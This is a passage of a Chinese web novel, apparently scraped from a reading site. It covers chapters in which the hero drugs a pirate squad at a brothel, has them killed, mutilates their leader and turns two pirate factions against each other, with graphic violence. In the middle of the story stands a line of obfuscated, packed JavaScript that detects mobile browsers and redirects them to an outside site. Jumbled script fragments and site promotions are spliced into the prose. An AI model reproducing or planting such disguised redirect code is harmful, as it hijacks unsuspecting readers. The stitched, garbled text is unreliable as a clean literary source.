都有。因为离官府和各方势力都远,倒成了个三不管的逍遥窟。” “没错。”陈平川点头,“犬养三郎手下有个小队长,叫山田,为人最是凶残好色。每隔半个月,他都会带上一队心腹亲卫,去听潮阁寻欢作乐,雷打不动。而今天,正好就是他该去的日子。” “主公的意思是……我们在听潮阁动手?”林勇的眼睛亮了。 “在海上硬拼,我们不占优势。但在岸上,尤其是在一个他们最放松,最意想不到的地方……”陈平川的嘴角咧开,“那就是我们的天下了。” 他转过身,目光扫过在场的暗影六子。 “玲儿,燕飞。” “在!”两人同时出列。 “我给你们二十名船帮的好手,”陈平川的声音沉稳而清晰,“你们两个带队,提前出发,伪装成出海打渔的渔民,先一步登上月牙岛,潜伏下来。” “玲儿,你的任务,是想办法潜入听潮阁的后厨,在他们今晚要喝的酒里,加点‘料’。记住,要那种无色无味,发作起来让人浑身无力,却又不会立刻要命的东西。” 玲儿那张清秀的脸上露出一个甜美的笑容,点了点头:“主公放心,阿魅新配的一种‘软筋散’,正好合用。别说是人,就是一头牛喝下去,也得乖乖躺下。” “很好。”陈平川又看向燕飞,“燕飞,你的任务,是找到听潮阁对面最高的制高点。我要你像一只真正的苍鹰,盯着那里的每一个角落。一旦有突然情况,你要控制住局面,保护玲儿!” 燕飞眼神锐利,只是重重地点了下头,一个字都没多说,但那股子自信和杀气,却让周围的人都感到一阵寒意。 “其他人,随我登船,在月牙岛附近的海域待命。等玲儿和燕飞得手,我们立刻登岛,收网!” “这一次,我要让犬养三郎最信任的一支小队,在这温柔乡里,死得无声无息!” 命令下达,整个龙涎湾立刻行动起来。 玲儿和燕飞带着二十名精挑细选的汉子,换上了破旧的渔民衣服,脸上涂抹了黝黑的油墨,乘坐着一艘不起眼的小渔船,迎着海风,率先驶向了茫茫大海。 第282章 温柔销金窟,死亡地狱岛 月牙岛,因形似一弯新月而得名。 岛上风景秀丽,绿树成荫,而那座闻名于附近海域的听潮阁,就建在月牙最顶端的一处悬崖上,三层木楼,飞檐斗拱,看起来颇为气派。 玲儿和燕飞的渔船在岛屿背面一处偏僻的石滩靠了岸。二十名船帮好手悄无声息地将船拖入一处隐蔽的礁石缝隙中,用渔网和海草伪装好,随后便如幽灵般消失在岸边的密林里。 玲儿和燕飞对视一眼,两人分头行动。 燕飞背着他那张特制的大弓,身形矫健地穿梭在山林间,很快就占据了听潮告对面一处山崖的最高点。这里视野开阔,可以将整个听潮阁的正面,甚至是里面的院子,都看得一清二楚。他寻了一处被茂密灌木遮挡的石缝,整个人缩了进去,与周围的环境融为一体,只露出一双鹰隼般锐利的眼睛。 而玲儿,则换上了一身更加破旧的粗布衣裙,脸上抹了些锅底灰,头发也弄得乱糟糟的,看起来就像一个逃难到此的普通渔家女。 她沿着小路,低着头,怯生生地走到了听潮阁的后门。 还没靠近,两个膀大腰圆的护院就拦住了她。 “站住!干什么的?”护院一脸凶神恶煞。 玲儿吓得一个哆嗦,扑通一声就跪下了,带着哭腔哀求道:“两位大爷,行行好吧……我爹娘都**,他们说这里能找到活……我好几天没吃饭了……求大爷给口饭吃,我什么活都能干,洗碗劈柴都行……” 那两个护院看她长得虽然不算绝美,但眉眼清秀,身材也还算有料,又见她如此卑微可怜,对视一眼,脸上露出了不怀好意的笑容。 其中一个护院接过铜钱,捏在手里掂了掂,嘿嘿一笑:“想找活干?行啊。不过……我们这儿可不是什么人都要的。你得让我们看看,你到底……有什么‘本事’。” 说着,他的手就不老实地伸向了玲儿的脸。 玲儿眼中闪过一丝冰冷的杀意,但瞬间又被惊恐和无助所取代。她一边躲闪,一边哭得更厉害了。 就在这时,后厨的门帘一掀,一个胖大的厨娘走了出来,手里还拎着一桶泔水。 “吵什么吵!不知道老娘在忙吗?”厨娘没好气地骂道。 那两个护院见到厨娘,似乎有些忌惮,讪讪地收回了手。 厨娘一眼就看到了跪在地上的玲儿,又看了看两个护院的德性,哪里还不知道发生了什么。她把水桶重重一放,叉着腰骂道:“你们两个没卵子的东西!就知道欺负小姑娘!滚滚滚!别在这儿碍眼!” 两个护院悻悻地走开了。 厨娘这才低头打量着玲儿,叹了口气:“唉,又是个可怜的。起来吧,地上凉。正好后厨缺个烧火的丫头,你要是不嫌弃,就先进来帮忙吧。管你一天三顿饭,至于工钱,得等管事的回来再说。” “谢谢大娘!谢谢大娘!”玲儿感激涕零地连连磕头,然后才小心翼翼地站起身,跟着厨娘走进了油腻的后厨。 进入后厨,玲儿低着头,眼角的余光却在飞快地扫视着周围的一切,将水缸、酒瓮、柴房的位置,全都牢牢记在了心里。 夜幕,悄然降临。 海上的月亮又大又圆,银色的月光洒在海面上,波光粼粼。 听潮阁里,灯火通明,丝竹之声和女人的娇笑声,远远地传了出去。 一艘挂着倭寇旗帜的快船,嚣张地停靠在了月牙岛的码头。 一个身材粗壮,脸上有一道刀疤的倭寇,大笑着从船上跳了下来。他就是山田。 “花姑娘们!你山田老爷来啦!” 他身后,跟着十几个同样凶神恶煞的倭寇,一个个扛着**,满脸淫笑地冲向了听潮阁。 听潮阁的老鸨早就带着一群花枝招展的姑娘在门口候着了,一见到山田,立刻满脸堆笑地迎了上去。 “哎哟!山田老爷,您可算来啦!姐妹们都想死您了!” “哈哈哈!少废话!把最好的酒,最美的姑娘,都给老子叫来!”山田一把搂住一个姑娘,大手在她身上肆无忌惮地游走,引得那姑娘一阵惊呼和娇嗔。 很快,山田和他的一众手下,就被请进了听潮阁最大最豪华的一个包厢。 美酒佳肴流水般地送了上来,一个个身姿妖娆的**围坐在他们身边,劝酒的劝酒,调情的调情,场面一时间活色生香,靡乱不堪。 后厨里,玲儿趁着众人忙乱,悄无声息地溜进了存放酒水的库房。 她从怀里掏出一个小小的纸包,打开来,将里面无色无味的粉末,小心翼翼地倒进了几坛即将送出去的上等花雕酒中。做完这一切,她悄无声息地退了出去,继续蹲在灶台前,做一个不起眼的烧火丫头。 包厢内,酒过三巡,山田和他的一众手下已经喝得面红耳赤,醉眼迷离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16184834|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “喝!都给老子喝!”山田举着酒碗,大声吼叫着,“等过几天,跟着犬养大人打下江徽府,那里的金银财宝、漂亮女人,就都是我们的了!哈哈哈!” “哈!说的是!” “为了犬养大人!” 一群倭寇纷纷举碗,将碗中美酒一饮而尽。 他们谁也没有发现,这酒的味道,和往日里并没有任何不同。 然而,随着酒精和药力一同上头,他们的眼皮开始变得越来越沉重,抱着女人的手也渐渐松了开来。 “嗯?怎么……头这么晕……”一个倭寇晃了晃脑袋,话还没说完,就一头栽倒在了桌子上。 “扑通!” “扑通!” 就像推倒了多米诺骨牌,一个接一个的倭寇,软绵绵地倒了下去,不省人事。 就连最能喝的山田,也只是多撑了片刻,抱着一个姑娘,嘴里还含糊不清地嘟囔着什么,最终也沉沉地睡了过去。 整个包厢,瞬间从喧闹变得安静。 就在这时,包厢的门,就被人从外面一脚踹开! 林勇带着二十名手持短刀的靖海营战士,如狼似虎地冲了进来。 “封住门!一个都不许放出去!” 与此同时,听潮阁对面的山崖上,一直如雕塑般纹丝不动的燕飞,眼中精光一闪。 他看到听潮阁的顶楼,一盏红色的灯笼,被挂了上去。 这是行动成功的信号! 他缓缓地放下了手中的弓箭,嘴角勾起一抹冰冷的弧度。 包厢内,血腥的**,在无声中展开。 靖海营的战士们,用浸了水的布,死死捂住那些昏迷不醒的倭寇的口鼻,手中的短刀,精准而又利落地划过他们的咽喉。 没有惨叫,没有挣扎。 十几条鲜活的生命,就在这温柔乡里,被悄无声息地收割。 那些**和老鸨,被这地狱般的景象吓得瘫软在地,瑟瑟发抖,连哭都不敢哭出声来。 林勇看都没看她们一眼,只是对手下人吩咐道:“把她们都绑起来,嘴堵上,关到柴房去。” 很快,整个听潮阁,就被彻底控制。 陈平川带着马三和石头,登上了阁楼。 看着满地倭寇的尸体,他的脸上,没有丝毫的波澜。 他走到那个被单独留下的倭寇面前,此人正是山田。 “把他弄醒。”陈平川淡淡地吩咐道。 第283章 鱼儿上钩了!一场狗咬狗大戏的开幕! 一盆冷水泼在山田的脸上,他一个激灵,猛地睁开了眼睛。 当他看清眼前的一切时,那只独眼里,瞬间充满了惊恐和难以置信。 他的手下,全都死了!尸体就横七竖八地躺在他的周围! 而几个陌生的汉子,正冷冷地看着他。 “你……你们是什么人?!”山田挣扎着想要起身,却发现自己浑身酸软,使不出一丝力气。 陈平川蹲下身,与他对视,脸上带着一丝玩味的笑容。 “我是谁不重要?我们海哥说了,跟你们东瀛人做的生意,太吃亏!今天我们来收点利息。” 说着,他朝旁边的石头使了个眼色。 石头冷冷一笑,一脚踩下去! “啊!——” 一声凄厉的惨叫,在阁楼中响起,又被瞬间掐断。 山田的下体,被硬生生地踩扁,变得血肉模糊! 陈平川这才满意地点了点头,对林勇吩咐道:“留他一口气,其他的,按计划处理,手脚干净点。” 林勇一挥手,两名战士上前,用布塞住了山田的嘴,将他捆了个结实,和一具具倭寇的尸体一起,被悄无声息地运走,沉入了阁楼外的深海。 …… 第二天清晨,第一缕阳光刺破云层,洒在月牙岛上。 听潮阁的老鸨和妓女们在柴房里被关了一夜,直到天亮才被一个伙计发现。 而倭寇的尸体也被发现在岸边。 “啊——!死人啦!” 尖叫声划破了清晨的宁静,整个听潮阁瞬间乱成了一锅粥。 消息传回了倭寇的老巢——黑礁岛。 黑礁岛,正如其名,整座岛屿由黑色的礁石构成,怪石嶙峋,地势险要,易守难攻。 岛屿中央,是一片用木头和石头搭建的营寨,戒备森严。 此刻,营寨的大厅里,犬养三郎坐在大厅正中的一张大椅上,阴沉着脸,听着手下的报告。 那只裸露在外的独眼,却闪烁着如同饿狼般凶残的光芒。 “你说什么?山田他们……全死了?”他的声音沙哑而又冰冷,听不出喜怒。 跪在下面的倭寇探子头都不敢抬:“回大人!山田小队……除了山田队长被人救了回来,其余十五人……全都……全都死了!” “那山田呢?”犬养三郎擦刀的动作停了下来。 “山田队长还活着,”探子的声音都在颤抖,“只是……只是他……” “把他带上来!”犬养三郎不耐烦地打断了他。 很快,两个倭寇抬着一块木板走了进来,木板上躺着的,正是已经不成人形的山田。 他双目圆睁,眼中充满了无尽的恐惧和怨毒,下体被厚厚的白布包裹,上面血迹斑斑,触目惊心。 大厅里的其他倭寇头目看到山田的惨状,都忍不住倒吸了一口凉气。 山田小队是犬养三郎手下最精锐的几支小队之一,个个都是身经百战的亡命徒,竟然在一夜之间,在一个青楼里,被人屠杀殆尽,甚至连反抗的痕迹都没有。 这简直是奇耻大辱! 犬养三郎一步一步地走到木板前。 他蹲下身,沉声问道:“到底是谁干的?” “大人……是,是海哥!” “海哥?呵呵呵呵……”闻言,犬养三郎低声笑着,肩膀不停地耸动,最后变成了疯狂的大笑。 “哈哈哈哈!好!好一个海哥!” “砰!” 他猛地一脚,将旁边的一张桌子踢翻! “八嘎呀路!” 一声惊天动地的怒吼,响彻了整个聚义厅! 犬养三郎那只独眼里,迸射出骇人的凶光,整张脸都因为愤怒而扭曲变形,像一只要择人而噬的野兽。 “海哥!你这个该死的支那猪!你这条忘恩负义的狗!” 他本就对这群海盗没什么好感,只是因为生意,才选择与海哥合作。 没想到,这家伙竟然敢动他的人! 这是挑衅!是宣战!是狠狠地一巴掌,扇在了他犬养三郎的脸上! “大人!我们不能放过海哥那个混蛋!”一个倭寇头目立刻跳了出来,煽风点火,“他肯定是因为分赃不均,怀恨在心!故意报复我们!” “没错!大人!海哥那帮人,就是一群养不熟的白眼狼!我们不给他们点颜色看看,他们还真以为我们大东瀛的武士是好欺负的!” “杀光他们!踏平乱石岛!” “杀了海哥!为山田君他们报仇!” 大厅里群情激奋,喊杀声震天。 犬养三郎的胸膛剧烈地起伏着,他看着已经奄奄一息的山田,独眼中闪过一丝残忍。 他缓缓挥舞腰间的武士刀,雪亮的刀锋在阳光下泛着寒光。 山田看到那把刀,眼中流露出惊恐的神色,身体剧烈地挣扎起来。 “山田,你丢了我们东瀛武士的脸面。”犬养三郎的声音冷得像冰,“带着这份羞辱切腹,去见天照大神吧。” 当的一声,武士刀被丢在山田面前,犬养三郎看也不看他,大步走出大厅,只留下绝望的山田。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“传我命令!” “召集所有人手!所有!能动弹的,都给我拿起刀!” “备船!我要亲率大军,踏平乱石岛!” “我要让海哥那个混蛋,跪在我面前,把他手下所有人的心肝都挖出来,给我下酒!” “我要让这片海域所有的人都知道,背叛我犬养三郎的下场!” 他的声音充满了血腥和暴戾,让所有听到的倭寇都兴奋地嘶吼起来。 复仇的火焰,被彻底点燃。 整个黑礁岛,就像一个被捅了的马蜂窝,瞬间沸腾了。上千名穷凶极恶的倭寇,从岛屿的各个角落涌出,他们磨快了刀,检查着弓箭,脸上带着嗜血的兴奋。 一艘艘战船,被推下了水。 不到半个时辰,一支由上百艘船只组成的庞大舰队,就集结完毕。 犬养三郎穿着一身黑色的盔甲,亲自登上了最大的一艘旗舰。他站在船头,迎着腥咸的海风,独眼遥望着乱石岛的方向,脸上满是狰狞的杀意。 因为在他看来,海哥那群乌合之众,就是一群他随手可以捏死的蚂蚁,一群他养在身边的狗。 现在,这条狗,竟然敢反咬主人了。 那主人要做的,就是把这条狗,连同它的窝,一起碾得粉碎! “出发!” 随着他一声令下,上百艘战船,如同离弦之箭,浩浩荡荡地朝着乱石岛的方向,杀了过去。 一场由陈平川精心导演的“狗咬狗”大戏,即将拉开血腥的序幕。 而始作俑者,此刻正悠闲地坐在一艘渔船上,用一架单筒望远镜,饶有兴致地观察着黑礁岛方向的动静。 “主公,您看!他们出动了!”马三兴奋地指着远处海面上出现的黑点。 陈平川放下望远镜,脸上露出了满意的笑容。 “比我想象的,还要快一点。” “鱼儿,上钩了。” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第284章 欺人太甚!狗急了也要咬死你! 乱石岛。 海盗老巢里,气氛同样不怎么好。 海哥脸色阴沉得能滴出水来。 自从上次被“倭寇”抢了之后,他虽然强行压下了手下人的怒火,但自己心里的那道坎,却怎么也过不去。 这几天,他派人去黑礁岛那边旁敲侧击,想问问到底是怎么回事。可犬养三郎那边的人,一个个都跟嘴上被缝了线似的,什么都问不出来,态度还变得异常冷淡和傲慢。 这让海哥心里更加憋屈。 他奶奶的,老子辛辛苦苦在海上拼命,卖掉的东西,说好了三七分,你他娘的倒好,直接来个黑吃黑,全端了!端了也就罢了,连个屁都不放,真当老子是泥捏的? “大哥!兄弟们都快憋出内伤了!这事儿到底怎么办啊?咱们就真这么算了?”一只耳在一旁拱火道。 “是啊大哥!再这么下去,人心都要散了!现在外面都在传,说我们乱石岛怕了那帮东瀛矮子,成了他们的看门狗了!”另一名心腹也附和道。 “放屁!”海哥猛地一拍桌子,霍然起身,“谁他娘的是看门狗?!” 他这一发火,整个大厅瞬间安静了下来。 海哥胸膛剧烈地起伏着,他何尝不想找犬养三郎讨个说法?但他更清楚,现在实力不如人,硬碰硬就是死路一条。 “君子报仇,十年不晚……”他又把这句话重复了一遍,但连他自己都觉得有些底气不足。 就在这时,一个海盗连滚带爬地冲了进来,脸上满是惊慌。 “大……大哥!不好了!不好了!” “慌什么!天塌下来了?”海哥没好气地吼道。 “是……是倭寇!倭寇的船队!好多船!正朝我们这边杀过来了!”那海盗上气不接下气地喊道。 “什么?!” 海哥和在场的所有头目,全都愣住了。 倭寇杀过来了? 他们来干什么? 难道是上次抢了我们的东西还不够,这次要来赶尽杀绝了?还是说……他们是来给个说法的? 海哥心里闪过一丝侥幸。 也许,是犬养三郎知道自己做得太过火了,这次是来赔礼道歉,把上次的损失补上? 但是,赔礼道歉也不用带这么多人吧? 他连忙带着一众手下,冲出了聚义厅,登上了岛上最高的了望塔。 只看了一眼,海哥心里那点侥幸,就瞬间被冰冷的海风吹得无影无踪。 只见远方的海面上,黑压压的一片,上百艘倭寇战船,扯着他们的战旗,正以一种一往无前的气势,朝着乱石岛笔直地冲来。 那架势,哪有半分赔礼道歉的样子?分明就是来打仗的! “他娘的!”一只耳狠狠地往地上啐了一口,“这帮狗娘养的东瀛矮子,抢了我们的钱,现在还想来要我们的命!真当我们是好欺负的?!” “大哥!下令吧!跟他们拼了!” “对!跟他们拼了!” 手下的海盗们一个个义愤填膺,抄起了手边的武器。被压抑了多日的怒火,在这一刻,被彻底点燃。 海哥的脸色也变得无比难看。 他想不通,他真的想不通! 犬养三郎这个疯子,到底想干什么? 把老子逼急了,对你有什么好处? “不对劲……”海哥喃喃自语,“这里面肯定有什么误会。” 他深吸一口气,强迫自己冷静下来。 “先别动手!等他们靠近了,我亲自去问问!看看他犬养三郎到底要耍什么花样!” 很快,倭寇的舰队就抵达了乱石岛外围的海域,将整个岛屿团团围住。 犬养三郎的旗舰,如同一头巨兽,蛮横地冲在最前面。 他站在船头,一身黑甲,手按刀柄,独眼中燃烧着熊熊的怒火。 “海哥!你这个缩头乌龟!给我滚出来!”犬养三郎用生硬的汉话,发出一声怒吼,声音远远地传到了岛上。 海哥乘坐着一艘小船,在几个心腹的护卫下,迎了上去。 他停在双方阵前的安全距离,冲着犬养三郎的旗舰大声喊道:“犬养大人!你这是什么意思?为何带这么多人,气势汹汹地来我乱石岛?” 犬养三郎看着海哥那一脸“无辜”的表情,心中的怒火更是烧得旺了三分。 他妈的,杀了老子的人,现在还跟老子装蒜? “我什么意思?”犬养三郎怒极反笑,“海哥,我倒想问问你是什么意思!山田他们,是不是你杀的?!” “山田?”海哥一脸的茫然,“哪个山田?我根本不认识!我杀他干什么?” 他是真的不知道。 听潮阁那种地方,他这种当大哥的,自然是不屑于去的。山田那种小队长级别的人物,他也确实没放在心上。 但在犬养三郎看来,海哥这副一问三不知的嘴脸,就是最拙劣的狡辩!是心虚!是把他当傻子耍! “哈哈哈!”犬养三郎狂笑起来,笑声中充满了鄙夷和杀意,“好一个不认识!你这条忘恩负义的狗!还敢狡辩!” “吃了我的,喝了我的,现在翅膀硬了,敢反咬主人了是吧?!” 这章没有结束,请点击下一页继续阅读!那句刺耳的“狗”,像一根烧红的铁针,狠狠地扎进了海哥的心里。 他的脸,瞬间涨成了猪肝色。 士可杀,不可辱! 他海哥,好歹也是在这片海上称霸一方的枭雄!什么时候受过这等指着鼻子的侮辱?尤其还是当着自己这么多兄弟的面! “犬养三郎!”海哥的眼睛红了,他指着犬养三郎,声音都在发抖,“你……你欺人太甚!” “上次你黑了老子的货,老子认了!想着大家都是一条船上的,不想把事情闹大!你他妈的倒好,蹬鼻子上脸,还敢带人杀上门来,往老子头上扣屎盆子!还敢骂老子是狗?!” 海哥越说越气,胸中的怒火彻底爆炸了。 “老子今天就让你看看,狗急了,也他妈的会咬人!” “兄弟们!”他猛地拔出腰间的砍刀,指向倭寇的舰队,用尽全身的力气怒吼道:“跟这帮东瀛杂碎,拼了!” “吼!” 乱石岛上,埋伏在各处的海盗们,发出一声怒吼,准备拼命。 “八嘎!”犬养三郎没想到海哥非但不求饶,还敢主动宣战,更是怒不可遏,“给我冲!杀光他们!一个不留!” “杀!” 双方的舰队,狠狠地撞在了一起。 喊杀声,兵器碰撞声,惨叫声,瞬间响彻了这片海域。 乱石岛的海盗们,虽然装备和训练都不如倭寇,但他们占据着地利,而且被逼到了绝境,一个个都爆发出了悍不畏死的血性。 然而,血性,并不能完全弥补实力上的巨大差距。 倭寇的武士刀锋利无比,刀法精湛。那些穿着简陋皮甲的倭寇武士,如同下山的猛虎,一旦跳上乱石岛,就展开了疯狂的屠杀。 海盗们手中的鱼叉和砍刀,在他们面前,显得是那么的脆弱。 一个照面,就有无数海盗倒在了血泊之中。 鲜血,染红了黑色的礁石。 战况,从一开始,就呈现出一边倒的趋势。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第285章 收网!这条落死狗,我要了! 远处的海面上,一艘伪装成普通渔船的船只上。 陈平川正举着望远镜,将这一幕惨烈的厮杀,尽收眼底。 “打起来了!打起来了!主公,您真是神了!”马三兴奋得手舞足蹈,“这下好了,狗咬狗,一嘴毛!让他们打!最好两边都死光了才好!” 林勇的脸上,也露出了复仇的快意。他看着那些平日里作威作福的海盗和倭寇,像割麦子一样倒下,心里感到一阵阵的痛快。 只有陈平川,脸上依旧是那副古井无波的表情。 他冷冷地看着战场,看着生命在眼前不断消逝,心里没有半分的怜悯。 这些人,无论是海盗还是倭寇,手上都沾满了无辜百姓的鲜血。他们死得再多,也是罪有应得。 “海哥要撑不住了。”陈平川淡淡地说道。 望远镜的视野里,海哥正挥舞着大刀,与三名倭寇武士缠斗在一起。他虽然勇猛,但身上已经添了好几道伤口,动作也渐渐慢了下来。 而他手下的海盗,更是死伤惨重,防线已经被冲得七零八落。 “噗!” 一名倭寇武士抓住一个空当,一刀狠狠地砍在了海哥的后背上。 “大哥!”一只耳目眦欲裂,一刀劈翻面前的敌人,冲过来死死地护在海哥身前。 “大哥!快走!留得青山在,不怕没柴烧啊!” “走!” 几个忠心耿耿的心腹,架起重伤的海哥,拼死杀出一条血路,朝着岛屿后方的一处隐蔽码头退去。 犬养三郎在旗舰上看到这一幕,发出了残忍的笑声。 “追!不要放走海哥!我要活的!” 乱石岛上的战斗,已经变成了一场追逐和屠杀。 陈平川放下了望远镜,脸上露出了冰冷的笑容。 “第一步,完成了。” 他转过身,对身后的林勇和马三下令。 “传令下去,让我们的船,跟上去。” “这条落水狗,我要了。” …… 乱石岛的喊杀声渐渐平息,取而代之的是倭寇们嗜血的狂笑和胜利的嘶吼。 整座岛屿,已经变成了一座人间地狱。 犬养三郎并没有在岛上过多停留,他留下了一部分人手清剿残余和搜刮财物。 同时下令,搜索这片海域,他要抓住那条“背叛”他的狗,用最残酷的方式折磨他,以泄心头之恨。 远处的船上,陈平川已经收起了望远镜,神色平静地看着海图。 “主公,我们真的要救那个海哥?”马三凑了过来,有些不解地问道,“让他被倭寇抓去,千刀万剐了,不是更解气?” 陈平川抬起眼皮,淡淡地瞥了他一眼:“一个满心仇恨,又熟悉这片海域的亡命徒,可比一具尸体有用多了。” “林勇。”陈平川的目光转向一旁的林勇。 “属下在!”林勇立刻挺直了腰板。 “你们船帮在这片海域眼线众多。我给你一个任务,动用你所有能动用的关系,找到海哥,我要知道他会逃到哪里,藏在何处。” “是!”林勇的眼中闪过一丝兴奋。这还是他归顺以来,主公第一次交给他如此重要的任务。他感觉自己被重视了,浑身都充满了干劲。 “主公放心!那海哥就算钻进老鼠洞,我也能把他给揪出来!” 林勇立刻走到船尾,从怀里掏出一个特制的竹哨,吹出了一连串古怪的音节。 很快,远处几艘同样伪装成渔船的船只上,也响起了回应的哨声。 一张无形的大网,迅速张开。 船帮的人,虽然战斗力不强,但他们世世代代都生活在这片海域,对每一处岛屿,每一片礁石,甚至是每一道洋流,都了如指掌。他们的人脉和情报网络,是倭寇和海盗都无法比拟的。 这,也正是陈平川当初选择收服他们的重要原因之一。 …… 两个时辰后。 一艘破破烂烂的海盗船,歪歪斜斜地冲进了一片荒凉的礁石群,最终在一座荒岛的隐蔽石滩上搁浅。 船上,只剩下不到十几个海盗,个个带伤,人人挂彩,狼狈不堪。 海哥被人从船舱里抬了出来,他后背上的伤口深可见骨,脸色惨白如纸,气息已经非常微弱。 “大哥!大哥你撑住啊!”一只耳哭喊着,手忙脚乱地从身上撕下布条,想要为他包扎。 “别……别费力气了……”海哥虚弱地摆了摆手,嘴角溢出一丝苦笑,“这里缺医少药……我没救了……咳咳……” 他剧烈地咳嗽起来,每咳一下,都牵动着伤口,疼得他面容扭曲。 “犬养三郎……这个杂种……我做鬼……也不会放过他……”他咬牙切齿地低吼着,眼中充满了无尽的怨毒和不甘。 他到死都想不明白,事情怎么会变成这样。 “大哥,我们现在怎么办?倭寇肯定在到处抓我们。”一个海盗绝望地问道。 所有人都沉默了。 官府通缉他们,倭寇要杀他们,百姓更是恨他们入骨。 他们已经成了丧家之犬,无处可去。 本小章还未完,请点击下一页继续阅读后面精彩内容!“我知道……这岛上……有一个溶洞……”海哥喘息着说道,“入口很隐蔽……先……先进去躲一躲……” 在几个熟悉地形的海盗的带领下,众人搀扶着海哥,深一脚浅一脚地走进岛上的密林,最终在一个被藤蔓覆盖的悬崖下,找到了一个黑漆漆的山洞。 洞里阴暗潮湿,充满了霉味和腥气。 他们躲进溶洞深处,所有人都瘫坐在地上,大口大口地喘着粗气。 绝望,如同洞外的黑暗,将他们紧紧包裹。 他们不知道的是,就在他们进洞后不久,林勇已经带着几个人,悄无声息地出现在了洞口附近。他仔细观察了一下周围的痕迹,然后对着身后打了个手势,迅速退了回去。 半个时辰后,陈平川率领着船帮上百人,将这座荒岛围得水泄不通。 高大的石头,像一尊铁塔,直接堵在了那个唯一的溶洞出口。他甚至不需要做什么,光是往那一站,那魁梧的身形和骇人的气势,就足以断绝洞内所有人逃跑的念头。 “主公,都安排好了,现在就冲进去吗?”林勇过来请示。 陈平川摇了摇头,脸上露出一丝玩味的笑容:“不急。先给他们加点料。” 他对着马三使了个眼色。 马三心领神会,清了清嗓子,运足了气,扯着他那特有的大嗓门,对着洞口喊了起来。 “洞里面的海盗兄弟们,听着!” “你们已经被包围了!放下武器投降,是你们唯一的出路!” 这开场白,俗套又没创意。 洞内的海盗们只是惊慌,却没有人出来投降。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第286章 三句话,让海盗王为我跪下唱征服! 马三也不在意,嘿嘿一笑,换了一副腔调。 “兄弟们,我知道你们心里憋屈啊!被犬养三郎那个狗娘养的利用,回头还要被人家抄了老窝,杀了兄弟,这口气,换谁谁也咽不下啊!” “你们想想,你们拼死拼活,图个啥?还不是图个有酒喝,有肉吃,有钱花?可结果呢?钱被犬养三郎吞了,命也快没了!值吗?” “还有,海哥啊,你忍心让你的兄弟们,和你一起死在这黑漆漆的破山洞里,变成一堆臭骨头?还是活着出去,给死去的兄弟们报仇?” 马三的话,说在洞内每个海盗的心坎上。 他们的士气,本就已经跌到了谷底,此刻听到这番话,更是心乱如麻。 是啊,我们图个啥? 跟着大哥混,是想过好日子,不是来送死的。 现在大哥都快不行了,我们还守在这里,有什么意义? 就连一只耳,听着外面的喊话,眼神也开始闪烁不定。 洞内,海哥靠在冰冷的石壁上,将手下们的反应尽收眼底。他心里一阵悲凉,他知道,人心,已经散了。 他惨然一笑,对着洞外虚弱地喊道:“外面……外面是哪条道上的朋友?进来谈谈吧。” 马三听到洞里的回应,立刻回头看向陈平川。 陈平川微微一笑,整理了一下衣衫,迈步朝着洞口走去。 “走,我们去会会这位海老大。” 玲儿和马三、石头紧随其后,四人就这么坦然地,走进了那个黑暗的,可能藏着数十名亡命徒的溶洞。 洞外的船帮的伙计们,一个个手心都捏出了汗。 主公这也太……太大胆了! 溶洞内,光线昏暗。 仅存的十几个海盗,手持着兵器,紧张而又警惕地盯着走进来的陈平川四人,形成了一个半包围的姿态。 然而,陈平川的脸上,看不到一丝一毫的紧张。 他步履从容,眼神平静。 身后的玲儿,那张清秀的脸蛋上挂着人畜无害的微笑,但藏在袖中的手,已经扣住了几枚暗器。 而马三,则是一副吊儿郎当的样子,眼睛却像雷达一样,扫视着每一个海盗的表情和动作。 石头如一座高山般,立在陈平川的身后,压迫感十足。 所有人的目光,最终都落在了陈平川的身上。 陈平川的目光,直接越过了那些紧张的海盗,落在了靠在石壁上,奄奄一息的海哥身上。 他没有嘲讽,没有胜利者的炫耀,只是径直走到了海哥的面前,在他身前三步远的地方站定。 “海老大,在下陈平川。”陈平川的声音很平静:“实话告诉你吧,是我挑拨你们和倭寇内斗。” 海哥浑身一震,他努力地睁大眼睛,借着从洞口透进来的微光,仔细打量着陈平川。 他想起来了。 一只耳提起,前些日子,有个神秘人收服了龙涎湾船帮,难道是他? 看着陈平川那张年轻而又平静的脸,海哥心中涌起一股难以言喻的寒意。 这个年轻人,好深的心机!好狠的手段! 自己和犬养三郎,两个在海上横行多年的枭雄,竟然被他玩弄于股掌之间! “是你……”海哥的声音沙哑,充满了震惊和苦涩,“抢我们的货物,是你……挑拨我和犬养三郎。” 这不是疑问,而是肯定。 陈平川笑了笑,他蹲下身,与海哥对视,目光诚恳而又锐利。 “我只问你一句,你是想带着剩下的这些兄弟,像条狗一样,死在这阴暗潮湿的洞里,还是想昂首挺胸地活下去,亲手杀死那些倭寇,为你死去的兄弟们报仇?” 这句话,在海哥的脑海中回响。 报仇! 这两个字,瞬间点燃了他心中所有的怨毒和不甘。 一股求生的欲望和复仇的火焰,从他的心底猛地窜了上来。 他死死地盯着陈平川,喘着粗气,眼中闪烁着挣扎的光芒。 “我……我凭什么信你?” 他问出了和当初林沧海同样的问题。 陈平川笑了,笑得云淡风轻,却又充满了不容置疑的自信。 “凭我只用三十个渔民,就全歼了三十个倭寇精锐。” “凭我动动嘴皮子,就让你们和犬养三郎坚不可摧的联盟,土崩瓦解,斗得你死我活。” “更凭现在,”陈平川的笑容微微收敛,声音变得冰冷,“你的命,你这些兄弟的命,全都在我的手里。” 这三句话,一句比一句更有分量,一句比一句更诛心。 是啊,他凭什么不信? 事实就摆在眼前。 这个年轻人的实力、智谋、手段,都远在他和犬养三郎之上。 